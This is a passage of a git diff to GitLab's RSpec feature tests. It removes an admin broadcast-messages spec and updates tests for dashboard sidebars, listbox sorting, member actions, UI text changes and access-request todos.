--- a/spec/features/admin/admin_broadcast_messages_spec.rb
+++ /dev/null
@@ -1,98 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Admin Broadcast Messages', feature_category: :onboarding do
- before do
- admin = create(:admin)
- sign_in(admin)
- stub_feature_flags(vue_broadcast_messages: false)
- gitlab_enable_admin_mode_sign_in(admin)
- create(
- :broadcast_message,
- :expired,
- message: 'Migration to new server',
- target_access_levels: [Gitlab::Access::DEVELOPER]
- )
- visit admin_broadcast_messages_path
- end
-
- it 'see broadcast messages list' do
- expect(page).to have_content 'Migration to new server'
- end
-
- it 'creates a customized broadcast banner message' do
- fill_in 'broadcast_message_message', with: 'Application update from **4:00 CST to 5:00 CST**'
- fill_in 'broadcast_message_target_path', with: '*/user_onboarded'
- select 'light-indigo', from: 'broadcast_message_theme'
- select Date.today.next_year.year, from: 'broadcast_message_ends_at_1i'
- check 'Guest'
- check 'Owner'
- click_button 'Add broadcast message'
-
- expect(page).to have_current_path admin_broadcast_messages_path, ignore_query: true
- expect(page).to have_content 'Application update from 4:00 CST to 5:00 CST'
- expect(page).to have_content 'Guest, Owner'
- expect(page).to have_content '*/user_onboarded'
- expect(page).to have_selector 'strong', text: '4:00 CST to 5:00 CST'
- expect(page).to have_selector %(.light-indigo[role=alert])
- end
-
- it 'creates a customized broadcast notification message' do
- fill_in 'broadcast_message_message', with: 'Application update from **4:00 CST to 5:00 CST**'
- fill_in 'broadcast_message_target_path', with: '*/user_onboarded'
- select 'Notification', from: 'broadcast_message_broadcast_type'
- select Date.today.next_year.year, from: 'broadcast_message_ends_at_1i'
- check 'Reporter'
- check 'Developer'
- check 'Maintainer'
- click_button 'Add broadcast message'
-
- expect(page).to have_current_path admin_broadcast_messages_path, ignore_query: true
- expect(page).to have_content 'Application update from 4:00 CST to 5:00 CST'
- expect(page).to have_content 'Reporter, Developer, Maintainer'
- expect(page).to have_content '*/user_onboarded'
- expect(page).to have_content 'Notification'
- expect(page).to have_selector 'strong', text: '4:00 CST to 5:00 CST'
- end
-
- it 'edit an existing broadcast message' do
- click_link 'Edit'
- fill_in 'broadcast_message_message', with: 'Application update RIGHT NOW'
- check 'Reporter'
- click_button 'Update broadcast message'
-
- expect(page).to have_current_path admin_broadcast_messages_path, ignore_query: true
- expect(page).to have_content 'Application update RIGHT NOW'
-
- page.within('.table-responsive') do
- expect(page).to have_content 'Reporter, Developer'
- end
- end
-
- it 'remove an existing broadcast message' do
- click_link 'Remove'
-
- expect(page).to have_current_path admin_broadcast_messages_path, ignore_query: true
- expect(page).not_to have_content 'Migration to new server'
- end
-
- it 'updates a preview of a customized broadcast banner message', :js do
- fill_in 'broadcast_message_message', with: "Live **Markdown** previews. :tada:"
-
- page.within('.js-broadcast-banner-message-preview') do
- expect(page).to have_selector('strong', text: 'Markdown')
- expect(page).to have_emoji('tada')
- end
- end
-
- it 'updates a preview of a customized broadcast notification message', :js do
- fill_in 'broadcast_message_message', with: "Live **Markdown** previews. :tada:"
- select 'Notification', from: 'broadcast_message_broadcast_type'
-
- page.within('#broadcast-message-preview') do
- expect(page).to have_selector('strong', text: 'Markdown')
- expect(page).to have_emoji('tada')
- end
- end
-end
diff --git a/spec/features/admin/admin_groups_spec.rb b/spec/features/admin/admin_groups_spec.rb
index c36a742af6b..119e09f9b09 100644
--- a/spec/features/admin/admin_groups_spec.rb
+++ b/spec/features/admin/admin_groups_spec.rb
@@ -204,6 +204,17 @@ RSpec.describe 'Admin Groups', feature_category: :subgroups do
expect(page).to have_content(new_admin_note_text)
end
+
+ it 'hides removed note' do
+ group = create(:group, :private)
+ group.create_admin_note(note: 'A note by an administrator')
+
+ visit admin_group_edit_path(group)
+ fill_in 'group_admin_note_attributes_note', with: ''
+ click_button 'Save changes'
+
+ expect(page).not_to have_content(s_('Admin|Admin notes'))
+ end
end
describe 'add user into a group', :js do
@@ -258,9 +269,12 @@ RSpec.describe 'Admin Groups', feature_category: :subgroups do
expect(page).to have_content('Developer')
end
- find_member_row(current_user).click_button(title: 'Leave')
+ show_actions_for_username(current_user)
+ click_button _('Leave group')
- accept_gl_confirm(button_text: 'Leave')
+ within_modal do
+ click_button _('Leave')
+ end
wait_for_all_requests
diff --git a/spec/features/admin/admin_projects_spec.rb b/spec/features/admin/admin_projects_spec.rb
index 0cb813c40f4..3c7eba2cc97 100644
--- a/spec/features/admin/admin_projects_spec.rb
+++ b/spec/features/admin/admin_projects_spec.rb
@@ -151,12 +151,11 @@ RSpec.describe "Admin::Projects", feature_category: :projects do
expect(find_member_row(current_user)).to have_content('Developer')
- page.within find_member_row(current_user) do
- click_button 'Leave'
- end
+ show_actions_for_username(current_user)
+ click_button _('Leave group')
within_modal do
- click_button('Leave')
+ click_button _('Leave')
end
expect(page).to have_current_path(dashboard_projects_path, ignore_query: true, url: false)
diff --git a/spec/features/admin/admin_sees_background_migrations_spec.rb b/spec/features/admin/admin_sees_background_migrations_spec.rb
index e1746dad196..4b8636da6b4 100644
--- a/spec/features/admin/admin_sees_background_migrations_spec.rb
+++ b/spec/features/admin/admin_sees_background_migrations_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe "Admin > Admin sees background migrations", feature_category: :database do
+ include ListboxHelpers
+
let_it_be(:admin) { create(:admin) }
let(:job_class) { Gitlab::BackgroundMigration::CopyColumnUsingBackgroundMigrationJob }
@@ -204,7 +206,7 @@ RSpec.describe "Admin > Admin sees background migrations", feature_category: :da
it 'does not render the database listbox' do
visit admin_background_migrations_path
- expect(page).not_to have_selector('[data-testid="database-listbox"]')
+ expect(page).not_to have_button('main')
end
end
@@ -215,41 +217,26 @@ RSpec.describe "Admin > Admin sees background migrations", feature_category: :da
allow(Gitlab::Database).to receive(:db_config_names).and_return(%w[main ci])
end
- it 'does render the database listbox' do
- visit admin_background_migrations_path
-
- expect(page).to have_selector('[data-testid="database-listbox"]')
- end
-
- it 'defaults to main when no parameter is passed' do
+ it 'renders the database listbox' do
visit admin_background_migrations_path
- listbox = page.find('[data-testid="database-listbox"]')
-
- expect(listbox).to have_text('main')
+ expect(page).to have_button('main')
end
it 'shows correct database when a parameter is passed' do
visit admin_background_migrations_path(database: 'ci')
- listbox = page.find('[data-testid="database-listbox"]')
-
- expect(listbox).to have_text('ci')
+ expect(page).to have_button('ci')
end
it 'updates the path to correct database when clicking on listbox option' do
visit admin_background_migrations_path
- listbox = page.find('[data-testid="database-listbox"]')
- expect(listbox).to have_text('main')
-
- listbox.find('button').click
- listbox.find('li', text: 'ci').click
- wait_for_requests
+ click_button 'main'
+ select_listbox_item('ci')
expect(page).to have_current_path(admin_background_migrations_path(database: 'ci'))
- listbox = page.find('[data-testid="database-listbox"]')
- expect(listbox).to have_text('ci')
+ expect(page).to have_button('ci')
end
end
end
diff --git a/spec/features/admin/admin_users_spec.rb b/spec/features/admin/admin_users_spec.rb
index 1f40f1f1bce..ca08bc9e577 100644
--- a/spec/features/admin/admin_users_spec.rb
+++ b/spec/features/admin/admin_users_spec.rb
@@ -69,13 +69,9 @@ RSpec.describe "Admin::Users", feature_category: :user_management do
expect(page).not_to have_content(message)
end
- context 'with no license and service ping disabled' do
+ context 'with no license and service ping disabled', :without_license do
before do
stub_application_setting(usage_ping_enabled: false)
-
- if Gitlab.ee?
- allow(License).to receive(:current).and_return(nil)
- end
end
it 'renders registration features CTA' do
diff --git a/spec/features/admin/dashboard_spec.rb b/spec/features/admin/dashboard_spec.rb
index baca60134b9..06f9c531e74 100644
--- a/spec/features/admin/dashboard_spec.rb
+++ b/spec/features/admin/dashboard_spec.rb
@@ -49,8 +49,7 @@ RSpec.describe 'admin visits dashboard' do
end
expect(page).to have_content('Blocked users 7')
- expect(page).to have_content('Total users 78')
- expect(page).to have_content('Active users 71')
+ expect(page).to have_content('Total users (active users + blocked users) 78')
end
end
diff --git a/spec/features/admin/users/users_spec.rb b/spec/features/admin/users/users_spec.rb
index 4b49e8f4bc6..975af84969d 100644
--- a/spec/features/admin/users/users_spec.rb
+++ b/spec/features/admin/users/users_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe 'Admin::Users', feature_category: :user_management do
expect(page).to have_content(current_user.email)
expect(page).to have_content(current_user.name)
- expect(page).to have_content(current_user.created_at.strftime('%e %b, %Y'))
+ expect(page).to have_content(current_user.created_at.strftime('%b %d, %Y'))
expect(page).to have_content(user.email)
expect(page).to have_content(user.name)
expect(page).to have_content('Projects')
@@ -367,6 +367,8 @@ RSpec.describe 'Admin::Users', feature_category: :user_management do
.to eq(Gitlab.config.gitlab.default_projects_limit)
expect(user.can_create_group)
.to eq(Gitlab::CurrentSettings.can_create_group)
+ expect(user.private_profile)
+ .to eq(Gitlab::CurrentSettings.user_defaults_to_private_profile)
end
it 'creates user with valid data' do
@@ -564,6 +566,7 @@ RSpec.describe 'Admin::Users', feature_category: :user_management do
fill_in 'user_password', with: 'AValidPassword1'
fill_in 'user_password_confirmation', with: 'AValidPassword1'
choose 'user_access_level_admin'
+ check 'Private profile'
click_button 'Save changes'
end
@@ -577,6 +580,7 @@ RSpec.describe 'Admin::Users', feature_category: :user_management do
expect(user.name).to eq('Big Bang')
expect(user.admin?).to be_truthy
expect(user.password_expires_at).to be <= Time.zone.now
+ expect(user.private_profile).to eq(true)
end
end
diff --git a/spec/features/callouts/registration_enabled_spec.rb b/spec/features/callouts/registration_enabled_spec.rb
index 1ea52dbf12a..ac7b68876da 100644
--- a/spec/features/callouts/registration_enabled_spec.rb
+++ b/spec/features/callouts/registration_enabled_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe 'Registration enabled callout', feature_category: :authentication
stub_application_setting(signup_enabled: true)
end
- context 'when an admin is logged in' do
+ context 'when an admin is logged in', :do_not_mock_admin_mode_setting do
before do
sign_in(admin)
end
diff --git a/spec/features/commit_spec.rb b/spec/features/commit_spec.rb
index 649b67e7fd0..a9672569a4a 100644
--- a/spec/features/commit_spec.rb
+++ b/spec/features/commit_spec.rb
@@ -22,6 +22,8 @@ RSpec.describe 'Commit', feature_category: :source_code_management do
end
describe "commit details" do
+ subject { page }
+
before do
visit project_commit_path(project, commit)
end
@@ -37,6 +39,8 @@ RSpec.describe 'Commit', feature_category: :source_code_management do
it 'renders diff stats', :js do
expect(page).to have_selector(".diff-stats")
end
+
+ it_behaves_like 'code highlight'
end
describe "pagination" do
diff --git a/spec/features/dashboard/activity_spec.rb b/spec/features/dashboard/activity_spec.rb
index b1734cb353b..edb3dacc2cc 100644
--- a/spec/features/dashboard/activity_spec.rb
+++ b/spec/features/dashboard/activity_spec.rb
@@ -9,6 +9,8 @@ RSpec.describe 'Dashboard > Activity', feature_category: :users do
sign_in(user)
end
+ it_behaves_like 'a dashboard page with sidebar', :activity_dashboard_path, :activity
+
context 'tabs' do
it 'shows Your Projects' do
visit activity_dashboard_path
diff --git a/spec/features/dashboard/groups_list_spec.rb b/spec/features/dashboard/groups_list_spec.rb
index b28e2ccf787..a45e0a58ed6 100644
--- a/spec/features/dashboard/groups_list_spec.rb
+++ b/spec/features/dashboard/groups_list_spec.rb
@@ -19,6 +19,8 @@ RSpec.describe 'Dashboard Groups page', :js, feature_category: :subgroups do
page.find("[data-testid='group-#{group.id}-dropdown-button'").click
end
+ it_behaves_like 'a dashboard page with sidebar', :dashboard_groups_path, :groups
+
it 'shows groups user is member of' do
group.add_owner(user)
nested_group.add_owner(user)
diff --git a/spec/features/dashboard/issuables_counter_spec.rb b/spec/features/dashboard/issuables_counter_spec.rb
index 5c7285f0491..5dc59cfa841 100644
--- a/spec/features/dashboard/issuables_counter_spec.rb
+++ b/spec/features/dashboard/issuables_counter_spec.rb
@@ -12,7 +12,6 @@ RSpec.describe 'Navigation bar counter', :use_clean_rails_memory_store_caching,
issue.assignees = [user]
merge_request.update!(assignees: [user])
sign_in(user)
- stub_feature_flags(limit_assigned_issues_count: false)
end
it 'reflects dashboard issues count' do
@@ -20,9 +19,9 @@ RSpec.describe 'Navigation bar counter', :use_clean_rails_memory_store_caching,
expect_counters('issues', '1', n_("%d assigned issue", "%d assigned issues", 1) % 1)
- issue.assignees = []
+ issue.update!(assignees: [])
- user.invalidate_cache_counts
+ Users::AssignedIssuesCountService.new(current_user: user).delete_cache
travel_to(3.minutes.from_now) do
visit issues_path
@@ -31,28 +30,6 @@ RSpec.describe 'Navigation bar counter', :use_clean_rails_memory_store_caching,
end
end
- context 'when :limit_assigned_issues_count FF is used' do
- before do
- stub_feature_flags(limit_assigned_issues_count: true)
- end
-
- it 'reflects dashboard issues count' do
- visit issues_path
-
- expect_counters('issues', '1', n_("%d assigned issue", "%d assigned issues", 1) % 1)
-
- issue.update!(assignees: [])
-
- Users::AssignedIssuesCountService.new(current_user: user).delete_cache
-
- travel_to(3.minutes.from_now) do
- visit issues_path
-
- expect_counters('issues', '0', n_("%d assigned issue", "%d assigned issues", 0) % 0)
- end
- end
- end
-
it 'reflects dashboard merge requests count', :js do
visit merge_requests_path
diff --git a/spec/features/dashboard/issues_spec.rb b/spec/features/dashboard/issues_spec.rb
index d74965f58fa..ae375bd3e13 100644
--- a/spec/features/dashboard/issues_spec.rb
+++ b/spec/features/dashboard/issues_spec.rb
@@ -21,6 +21,8 @@ RSpec.describe 'Dashboard Issues', feature_category: :team_planning do
visit issues_dashboard_path(assignee_username: current_user.username)
end
+ it_behaves_like 'a dashboard page with sidebar', :issues_dashboard_path, :issues
+
describe 'issues' do
it 'shows issues assigned to current user' do
expect(page).to have_content(assigned_issue.title)
diff --git a/spec/features/dashboard/merge_requests_spec.rb b/spec/features/dashboard/merge_requests_spec.rb
index 56d7c45de5d..a146a6987bc 100644
--- a/spec/features/dashboard/merge_requests_spec.rb
+++ b/spec/features/dashboard/merge_requests_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Dashboard Merge Requests', feature_category: :code_review do
+RSpec.describe 'Dashboard Merge Requests', feature_category: :code_review_workflow do
include Spec::Support::Helpers::Features::SortingHelpers
include FilteredSearchHelpers
include ProjectForksHelper
@@ -19,6 +19,8 @@ RSpec.describe 'Dashboard Merge Requests', feature_category: :code_review do
sign_in(current_user)
end
+ it_behaves_like 'a dashboard page with sidebar', :merge_requests_dashboard_path, :merge_requests
+
it 'disables target branch filter' do
visit merge_requests_dashboard_path
diff --git a/spec/features/dashboard/milestones_spec.rb b/spec/features/dashboard/milestones_spec.rb
index b4d0d9c5812..a9f23f90bb1 100644
--- a/spec/features/dashboard/milestones_spec.rb
+++ b/spec/features/dashboard/milestones_spec.rb
@@ -26,6 +26,8 @@ RSpec.describe 'Dashboard > Milestones', feature_category: :team_planning do
visit dashboard_milestones_path
end
+ it_behaves_like 'a dashboard page with sidebar', :dashboard_milestones_path, :milestones
+
it 'sees milestones' do
expect(page).to have_current_path dashboard_milestones_path, ignore_query: true
expect(page).to have_content(milestone.title)
diff --git a/spec/features/dashboard/navbar_spec.rb b/spec/features/dashboard/navbar_spec.rb
new file mode 100644
index 00000000000..ff0ff899fc2
--- /dev/null
+++ b/spec/features/dashboard/navbar_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe '"Your work" navbar', feature_category: :navigation do
+ include_context 'dashboard navbar structure'
+
+ let_it_be(:user) { create(:user) }
+
+ it_behaves_like 'verified navigation bar' do
+ before do
+ sign_in(user)
+ visit root_path
+ end
+ end
+end
diff --git a/spec/features/dashboard/projects_spec.rb b/spec/features/dashboard/projects_spec.rb
index 2b89f16bbff..779fbb48ddb 100644
--- a/spec/features/dashboard/projects_spec.rb
+++ b/spec/features/dashboard/projects_spec.rb
@@ -18,6 +18,8 @@ RSpec.describe 'Dashboard Projects', feature_category: :projects do
end
end
+ it_behaves_like "a dashboard page with sidebar", :dashboard_projects_path, :projects
+
context 'when user has access to the project' do
it 'shows role badge' do
visit dashboard_projects_path
diff --git a/spec/features/dashboard/snippets_spec.rb b/spec/features/dashboard/snippets_spec.rb
index ab2cfc0573e..ba40290d866 100644
--- a/spec/features/dashboard/snippets_spec.rb
+++ b/spec/features/dashboard/snippets_spec.rb
@@ -5,6 +5,8 @@ require 'spec_helper'
RSpec.describe 'Dashboard snippets', feature_category: :source_code_management do
let_it_be(:user) { create(:user) }
+ it_behaves_like 'a dashboard page with sidebar', :dashboard_snippets_path, :snippets
+
context 'when the project has snippets' do
let(:project) { create(:project, :public, creator: user) }
let!(:snippets) { create_list(:project_snippet, 2, :public, author: project.first_owner, project: project) }
diff --git a/spec/features/dashboard/todos/todos_spec.rb b/spec/features/dashboard/todos/todos_spec.rb
index 606bc82a7bb..59bb1a452c9 100644
--- a/spec/features/dashboard/todos/todos_spec.rb
+++ b/spec/features/dashboard/todos/todos_spec.rb
@@ -15,6 +15,8 @@ RSpec.describe 'Dashboard Todos', feature_category: :team_planning do
project.add_developer(user)
end
+ it_behaves_like 'a dashboard page with sidebar', :dashboard_todos_path, :todos
+
context 'User does not have todos' do
before do
sign_in(user)
@@ -152,6 +154,22 @@ RSpec.describe 'Dashboard Todos', feature_category: :team_planning do
it_behaves_like 'deleting the todo'
it_behaves_like 'deleting and restoring the todo'
end
+
+ context 'when todo has a note' do
+ let(:note) { create(:note, project: project, note: "Check out stuff", noteable: create(:issue, project: project)) }
+ let!(:todo) { create(:todo, :mentioned, user: user, project: project, author: author, note: note, target: note.noteable) }
+
+ before do
+ sign_in(user)
+ visit dashboard_todos_path
+ end
+
+ it 'shows note preview' do
+ expect(page).to have_no_content('mentioned you:')
+ expect(page).to have_no_content('"Check out stuff"')
+ expect(page).to have_content('Check out stuff')
+ end
+ end
end
context 'User created todos for themself' do
@@ -446,27 +464,30 @@ RSpec.describe 'Dashboard Todos', feature_category: :team_planning do
end
end
- context 'User has a todo for an access requested raised for group membership' do
- let_it_be(:group) { create(:group, :public) }
+ context 'User requested access' do
+ shared_examples 'has todo present with access request content' do
+ specify do
+ create(:todo, :member_access_requested,
+ user: user,
+ target: target,
+ author: author
+ )
+ target.add_owner(user)
- let_it_be(:todo) do
- create(:todo, :member_access_requested,
- user: user,
- target: group,
- author: author,
- group: group)
- end
-
- before do
- group.add_owner(user)
- sign_in(user)
+ sign_in(user)
+ visit dashboard_todos_path
- visit dashboard_todos_path
+ expect(page).to have_selector('.todos-list .todo', count: 1)
+ expect(page).to have_content "#{author.name} has requested access to #{target.class.name.downcase} #{target.name}"
+ end
end
- it 'has todo present with access request content' do
- expect(page).to have_selector('.todos-list .todo', count: 1)
- expect(page).to have_content "#{author.name} has requested access to group #{group.name}"
+ context 'when user requests access to project or group' do
+ %i[project group].each do |target_type|
+ it_behaves_like 'has todo present with access request content' do
+ let_it_be(:target) { create(target_type, :public) }
+ end
+ end
end
end
end
diff --git a/spec/features/dashboard/user_filters_projects_spec.rb b/spec/features/dashboard/user_filters_projects_spec.rb
index 1168a6827fd..8ec9b98c3b3 100644
--- a/spec/features/dashboard/user_filters_projects_spec.rb
+++ b/spec/features/dashboard/user_filters_projects_spec.rb
@@ -40,7 +40,7 @@ RSpec.describe 'Dashboard > User filters projects', feature_category: :projects
it 'returns message when starred projects fitler returns no results' do
fill_in 'project-filter-form-field', with: 'Beta\n'
- expect(page).to have_content('This user doesn\'t have any personal projects')
+ expect(page).to have_content('There are no projects available to be displayed here.')
expect(page).not_to have_content('You don\'t have starred projects yet')
end
end
diff --git a/spec/features/error_tracking/user_sees_error_index_spec.rb b/spec/features/error_tracking/user_sees_error_index_spec.rb
index b7dfb6afc18..f83c8ffe439 100644
--- a/spec/features/error_tracking/user_sees_error_index_spec.rb
+++ b/spec/features/error_tracking/user_sees_error_index_spec.rb
@@ -50,7 +50,7 @@ feature_category: :error_tracking do
end
it 'renders call to action' do
- expect(page).to have_content('Enable error tracking')
+ expect(page).to have_content('Monitor your errors directly in GitLab.')
end
end
diff --git a/spec/features/global_search_spec.rb b/spec/features/global_search_spec.rb
index 7c55551e9c3..15393ec4cd6 100644
--- a/spec/features/global_search_spec.rb
+++ b/spec/features/global_search_spec.rb
@@ -72,10 +72,6 @@ RSpec.describe 'Global search', :js, feature_category: :global_search do
# TODO: Remove this along with feature flag #339348
stub_feature_flags(new_header_search: true)
visit dashboard_projects_path
-
- # initialize javascript loaded input search input field
- find('#search').click
- find('body').click
end
it 'renders updated search bar' do
diff --git a/spec/features/groups/import_export/connect_instance_spec.rb b/spec/features/groups/import_export/connect_instance_spec.rb
index 11cc4bb9b37..8aea18a268b 100644
--- a/spec/features/groups/import_export/connect_instance_spec.rb
+++ b/spec/features/groups/import_export/connect_instance_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe 'Import/Export - Connect to another instance', :js, feature_categ
it 'successfully connects to remote instance' do
pat = 'demo-pat'
- expect(page).to have_content 'Import groups from another instance of GitLab'
+ expect(page).to have_content 'Import groups by direct transfer'
expect(page).to have_content 'Not all related objects are migrated'
fill_in :bulk_import_gitlab_url, with: source_url
@@ -64,7 +64,7 @@ RSpec.describe 'Import/Export - Connect to another instance', :js, feature_categ
click_on 'Connect instance'
- expect(page).to have_content 'Please fill in GitLab source URL'
+ expect(page).to have_content 'Enter the URL for the source instance'
end
end
@@ -89,7 +89,7 @@ RSpec.describe 'Import/Export - Connect to another instance', :js, feature_categ
end
it 'renders fields and button disabled' do
- expect(page).to have_field('GitLab source URL', disabled: true)
+ expect(page).to have_field('GitLab source instance URL', disabled: true)
expect(page).to have_field('Personal access token', disabled: true)
expect(page).to have_button('Connect instance', disabled: true)
end
diff --git a/spec/features/groups/import_export/migration_history_spec.rb b/spec/features/groups/import_export/migration_history_spec.rb
index f851c5e2ec5..9fc9c7898d1 100644
--- a/spec/features/groups/import_export/migration_history_spec.rb
+++ b/spec/features/groups/import_export/migration_history_spec.rb
@@ -12,6 +12,8 @@ RSpec.describe 'Import/Export - GitLab migration history', :js, feature_category
let_it_be(:failed_entity_2) { create(:bulk_import_entity, :failed, bulk_import: user_import_2) }
before do
+ stub_application_setting(bulk_import_enabled: true)
+
gitlab_sign_in(user)
visit new_group_path
@@ -24,7 +26,7 @@ RSpec.describe 'Import/Export - GitLab migration history', :js, feature_category
wait_for_requests
- expect(page).to have_content 'Group import history'
+ expect(page).to have_content 'GitLab Migration history'
expect(page.find('tbody')).to have_css('tr', count: 2)
end
end
diff --git a/spec/features/groups/labels/sort_labels_spec.rb b/spec/features/groups/labels/sort_labels_spec.rb
index c2410246fe1..e177461701e 100644
--- a/spec/features/groups/labels/sort_labels_spec.rb
+++ b/spec/features/groups/labels/sort_labels_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Sort labels', :js, feature_category: :team_planning do
+ include ListboxHelpers
+
let(:user) { create(:user) }
let(:group) { create(:group) }
let!(:label1) { create(:group_label, title: 'Foo', description: 'Lorem ipsum', group: group) }
@@ -28,16 +30,16 @@ RSpec.describe 'Sort labels', :js, feature_category: :team_planning do
it 'sorts by date' do
click_button 'Name'
- sort_options = find('ul[role="listbox"]').all('li').collect(&:text)
-
- expect(sort_options[0]).to eq('Name')
- expect(sort_options[1]).to eq('Name, descending')
- expect(sort_options[2]).to eq('Last created')
- expect(sort_options[3]).to eq('Oldest created')
- expect(sort_options[4]).to eq('Updated date')
- expect(sort_options[5]).to eq('Oldest updated')
+ expect_listbox_items([
+ 'Name',
+ 'Name, descending',
+ 'Last created',
+ 'Oldest created',
+ 'Updated date',
+ 'Oldest updated'
+ ])
- find('li', text: 'Name, descending').click
+ select_listbox_item('Name, descending')
# assert default sorting
within '.other-labels' do
diff --git a/spec/features/groups/members/manage_members_spec.rb b/spec/features/groups/members/manage_members_spec.rb
index 4211f2b6265..5cd5908b359 100644
--- a/spec/features/groups/members/manage_members_spec.rb
+++ b/spec/features/groups/members/manage_members_spec.rb
@@ -50,12 +50,13 @@ RSpec.describe 'Groups > Members > Manage members', feature_category: :subgroups
# Open modal
page.within(second_row) do
- click_button 'Remove member'
+ show_actions
+ click_button _('Remove member')
end
within_modal do
expect(page).to have_unchecked_field 'Also unassign this user from related issues and merge requests'
- click_button('Remove member')
+ click_button _('Remove member')
end
wait_for_requests
diff --git a/spec/features/groups/members/sort_members_spec.rb b/spec/features/groups/members/sort_members_spec.rb
index 4e9adda5f2b..5634122ec16 100644
--- a/spec/features/groups/members/sort_members_spec.rb
+++ b/spec/features/groups/members/sort_members_spec.rb
@@ -56,7 +56,7 @@ RSpec.describe 'Groups > Members > Sort members', :js, feature_category: :subgro
expect(first_row.text).to include(owner.name)
expect(second_row.text).to include(developer.name)
- expect_sort_by('Created on', :asc)
+ expect_sort_by('User created', :asc)
end
it 'sorts by user created on descending' do
@@ -65,7 +65,7 @@ RSpec.describe 'Groups > Members > Sort members', :js, feature_category: :subgro
expect(first_row.text).to include(developer.name)
expect(second_row.text).to include(owner.name)
- expect_sort_by('Created on', :desc)
+ expect_sort_by('User created', :desc)
end
it 'sorts by last activity ascending' do
diff --git a/spec/features/groups/merge_requests_spec.rb b/spec/features/groups/merge_requests_spec.rb
index 87f1f422e90..8a3401d0572 100644
--- a/spec/features/groups/merge_requests_spec.rb
+++ b/spec/features/groups/merge_requests_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Group merge requests page', feature_category: :code_review do
+RSpec.describe 'Group merge requests page', feature_category: :code_review_workflow do
include FilteredSearchHelpers
let(:path) { merge_requests_group_path(group) }
diff --git a/spec/features/groups/milestones_sorting_spec.rb b/spec/features/groups/milestones_sorting_spec.rb
index 5543938957a..0f0ecb8f5f3 100644
--- a/spec/features/groups/milestones_sorting_spec.rb
+++ b/spec/features/groups/milestones_sorting_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Milestones sorting', :js, feature_category: :team_planning do
+ include ListboxHelpers
+
let(:group) { create(:group) }
let!(:project) { create(:project_empty_repo, group: group) }
let!(:other_project) { create(:project_empty_repo, group: group) }
@@ -27,13 +29,13 @@ RSpec.describe 'Milestones sorting', :js, feature_category: :team_planning do
expect(page.all('ul.content-list > li strong > a').map(&:text)).to eq(['v2.0', 'v2.0', 'v3.0', 'v1.0', 'v1.0'])
end
- within '[data-testid=milestone_sort_by_dropdown]' do
- click_button 'Due soon'
- expect(find('ul[role="listbox"]').all('li').map(&:text)).to eq(['Due soon', 'Due later', 'Start soon', 'Start later', 'Name, ascending', 'Name, descending'])
+ click_button 'Due soon'
- find('li', text: 'Due later').click
- expect(page).to have_button('Due later')
- end
+ expect_listbox_items(['Due soon', 'Due later', 'Start soon', 'Start later', 'Name, ascending', 'Name, descending'])
+
+ select_listbox_item('Due later')
+
+ expect(page).to have_button('Due later')
# assert descending sorting
within '.milestones' do
diff --git a/spec/features/groups/navbar_spec.rb b/spec/features/groups/navbar_spec.rb
index 180ccab78bc..a52e2d95fed 100644
--- a/spec/features/groups/navbar_spec.rb
+++ b/spec/features/groups/navbar_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Group navbar', feature_category: :navigation do
+RSpec.describe 'Group navbar', :with_license, feature_category: :navigation do
include NavbarStructureHelper
include WikiHelpers
diff --git a/spec/features/groups/new_group_page_spec.rb b/spec/features/groups/new_group_page_spec.rb
index 662ef734299..a07c27331d9 100644
--- a/spec/features/groups/new_group_page_spec.rb
+++ b/spec/features/groups/new_group_page_spec.rb
@@ -10,6 +10,8 @@ RSpec.describe 'New group page', :js, feature_category: :subgroups do
sign_in(user)
end
+ it_behaves_like 'a dashboard page with sidebar', :new_group_path, :groups
+
describe 'new top level group alert' do
context 'when a user visits the new group page' do
it 'shows the new top level group alert' do
diff --git a/spec/features/incidents/user_views_incident_spec.rb b/spec/features/incidents/user_views_incident_spec.rb
index 8216aca787a..49041d187dd 100644
--- a/spec/features/incidents/user_views_incident_spec.rb
+++ b/spec/features/incidents/user_views_incident_spec.rb
@@ -57,7 +57,7 @@ RSpec.describe "User views incident", feature_category: :incident_management do
it 'shows incident actions', :js do
click_button 'Incident actions'
- expect(page).to have_link 'Report abuse to administrator'
+ expect(page).to have_button 'Report abuse to administrator'
end
end
end
diff --git a/spec/features/issues/group_label_sidebar_spec.rb b/spec/features/issues/group_label_sidebar_spec.rb
index b26030fe8d0..41450ba3373 100644
--- a/spec/features/issues/group_label_sidebar_spec.rb
+++ b/spec/features/issues/group_label_sidebar_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Group label on issue', feature_category: :team_planning do
+RSpec.describe 'Group label on issue', :with_license, feature_category: :team_planning do
it 'renders link to the project issues page', :js do
group = create(:group)
project = create(:project, :public, namespace: group)
diff --git a/spec/features/issues/issue_header_spec.rb b/spec/features/issues/issue_header_spec.rb
index 090067fc4ac..6c5daa29631 100644
--- a/spec/features/issues/issue_header_spec.rb
+++ b/spec/features/issues/issue_header_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe 'issue header', :js, feature_category: :team_planning do
it 'shows the "New related issue", "Report abuse", and "Delete issue" items', :aggregate_failures do
expect(page).to have_link 'New related issue'
- expect(page).to have_link 'Report abuse to administrator'
+ expect(page).to have_button 'Report abuse to administrator'
expect(page).to have_button 'Delete issue'
expect(page).not_to have_link 'Submit as spam'
end
@@ -68,10 +68,10 @@ RSpec.describe 'issue header', :js, feature_category: :team_planning do
visit project_issue_path(project, authored_issue)
end
- it 'does not show "Report abuse" link in dropdown' do
+ it 'does not show "Report abuse" button in dropdown' do
click_button 'Issue actions'
- expect(page).not_to have_link 'Report abuse to administrator'
+ expect(page).not_to have_button 'Report abuse to administrator'
end
end
end
@@ -116,7 +116,7 @@ RSpec.describe 'issue header', :js, feature_category: :team_planning do
it 'only shows the "New related issue" and "Report abuse" items', :aggregate_failures do
expect(page).to have_link 'New related issue'
- expect(page).to have_link 'Report abuse to administrator'
